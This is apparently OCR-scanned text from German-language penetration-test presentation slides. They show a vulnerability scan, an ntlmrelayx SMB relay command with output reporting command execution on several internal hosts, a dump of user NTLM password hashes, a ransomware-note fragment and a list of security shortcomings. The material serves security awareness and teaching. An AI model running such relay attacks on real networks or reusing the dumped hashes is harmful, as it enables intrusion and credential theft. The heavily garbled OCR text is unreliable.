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Systembetrieb versus Systemsicherheit Pioneers in IT security.
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Host 192.168.1.14 ﬁ @
192.168.1.14

00:11:32:8F:99:6D

Linux 3.2 - 4.9 /)&¢
Q

Affected vulnerabilities (severity low or higher)

Samba 4.13.x < 445/tcp The remote Samba server is Upgrade to Samba version
41317 /4.14.x < potentially affected by 4.13.17,4.14.12, or4.15.5 or
41412 / 4.15.x < multiple vulnerabilities. later.
4.15.5 Multiple
Vulnerabilities
SSL Certificate 443/tcp The SSL certificate for this Purchase or generate a
with Wrong service is for a different host. | proper SSL certificate for this
hiosthams SEIVICE: @ 10.10.233.93:8161
SSL Certificate 5001/tcp The SSL certificate for this Purchase or generate a
with Wrong service is for a different host. | proper S5L certificate for this Thi
Hostname service.
SSL Certificate 443 ftcp The SSL certificate for this Purchase or generate a
Cannot Be Trusted service cannot be trusted. proper SSL certificate for this
service.
SSL Certificate 5001/tcp The SSL certificate for this Purchase or generate a
Cannot Be Trusted service cannot be trusted. proper SSL certificate for this
service.
SMB Signing not 445/tcp Signing is not required on the | Enforce message signing in Cancel
required remote SMB server. the host's configuration. On
Windows, this is found in the
policy setting 'Microsoft
network server: Digitally sign
communications (always)".
On Samba, the setting is
called 'server signing'. See
the 'see also' links for further
details.
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@ ccvossel-pentestbox001)-[/usr/share/responder/logs |
sudo python3 ~/impacket/examples/ntlmrelayx.py -tf ./new_ntlm_targets.txt -.:o2support -ts -ip 172.19.21.246 -c "net groun
Impacket v@.9.25.dev1+20211027.123255.1dad8f7f - Copyright 2021 SecureAuth Corporacicn

[2022-03-18 11:28:03] [*] Protocol Client SMB loaded..
[2022-03-18 11:28:03] [*] Protocol Client MSSQL loaded..
[2022-03-18 11:28:03] [*] Protocol Client HTTP loaded..
[2022-03-18 11:28:03] [*] Protocol Client HTTPS loaded..
(2022-03-18 11:28:03] [*] Protocol Client LDAP loaded..
[2022-03-18 11:28:03] [*] Protocol Client LDAPS loaded..
(2022-03-18 11:28:03] [*] Protocol Client DCSYNC loaded..
(2022-03-18 11:28:03] [*] Protocol Client IMAP loaded..
2022-03-18 11:28:03] [x] Protocol Client IMAPS loaded.. .
2022-03-18 03] [*] Protocol Client SMTP loaded.. 2022°03-18 11:26:63]
[2022-03-18 11: [*] Protocol Client RPC loaded.. ’ -
[2022-03-18 11:28:0 [*] Running in relay mode to hosts in targetfile

[

[

Setting up WCF Server
Servers started, waiting for connections
SMBD-Thread-4: Connection from 13172.19.20.140 controlled, attacking target smb://172
SUCCEED
13172.19.20.140 controlled, attacking target smb://172.19.
mb://172.19.20.60 as SUCCEED

]
]
]
]
[2022-03-18 x] setting up SMB Server ]
] s
] sw read ction from 15172.19.20.140 controlled, attacking target smb://172.
]
]
]
]
1

[2022-03-18 x] Setting up HTTP Server

Authenticating against smb://172.19.20.91 as SUCCEED
SMBD-Thread-4: Connection from 19172.19.20.140 controlled, attacking target smb://172.
Authenticating against smb://172.19.20.92 as SUCCEED
SMBD-Thread-4: i I1§172.19.20.140 controlled, attacking target smb://172.19
Authenticating against smb://172.19.20.113 as SUCCEED
58 ] Executed specified command on host: 172. 20.60
03-18 11:30:58] [*] Executed specified command on host: 172.19.20.166
ber Befehl wurde erfolgreich ausgeféhrt.
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o) u SachCh e In fO rmationen Admin:1000:aad3b435b51404eeaad3b435b51404ee: el@adc3949ba59abbe56e057F20F883e: : :
Tino:2000:aad3b435b51404eeaad3b435b51404ee:77d5¢c5a637aelc047fb3d73394000081: : :
Tatjana:1718:aad3b435b51404eeaad3b435b51404ee : 85DEEEC2D12F917783B689AE94990716: :
Silvio:1717:aad3b435b51404eeaad3b435b51404ee: F3E6B2997DOAAALSCSOESDDOEERS7882: : ¢
Systemhaus:1714:aad3b435b51404ecaad3bd35b51404ee : 94F789887FDDICA9764A7818F7324FDE: : :
Stephan:1711:aad3b435b51404eeaad3b435b51404ee:6671560CB362AC42E3B1182269A0F6BA: :
Karsten:1711:aad3b435b51404eeaad3b435b51404ee:4D973148C582C4F7D8CE31F837C74AES: : :
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Suchen nach Liicken die der Schwachstellenscanner

nicht identifizieren konnten

SHolen uns immer weitere Daten/Informationen (PWD, Personen, BWA)
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o not waste your time. Nobody can recover your files without

 Maybe you are busy looking for a way to
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P asswort Policy

Fehlende Regeln und Uberwachung

o etzwerksegmentierung

Das interne Netzwerk ist nicht segmentiert.

Server, Clients, Giste befinden sich im gleichen Netzwerk

S Account-Verwendungszweck

Es gibt keine Trennung zw. Administrativen und Nutzeraccounts
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Vv N\

S Anzahl der Administratoren

gibt zu viele Domain-Administratoren (max. 2)

A ctive Directory

Das AD ist unsauber -ungenutzte Objekt wurden nicht geloscht

S ircwall

Es bestehen ,,any-any“Regeln auf der Firewall

atchmanagement

@)
=

gibt kein funktionierendes Patchmanagement
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S irmwaremanagement

gibt kein funktionierendes Firmwaremanagement

MAssetverwaltung

Die CMDB ist nicht vorhanden bzw. gepflegt

SN formationsstand

Die fiir die IT verantwortliche Person ist nicht hinreichend

iber den aktuellen Zustand der internen Infrastruktur informiert
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Wir sehen uns...
Bundesverband IT-Sicherheit e.V.

Carsten Vossel

c.vossel@ccvossel.de

T030609840910
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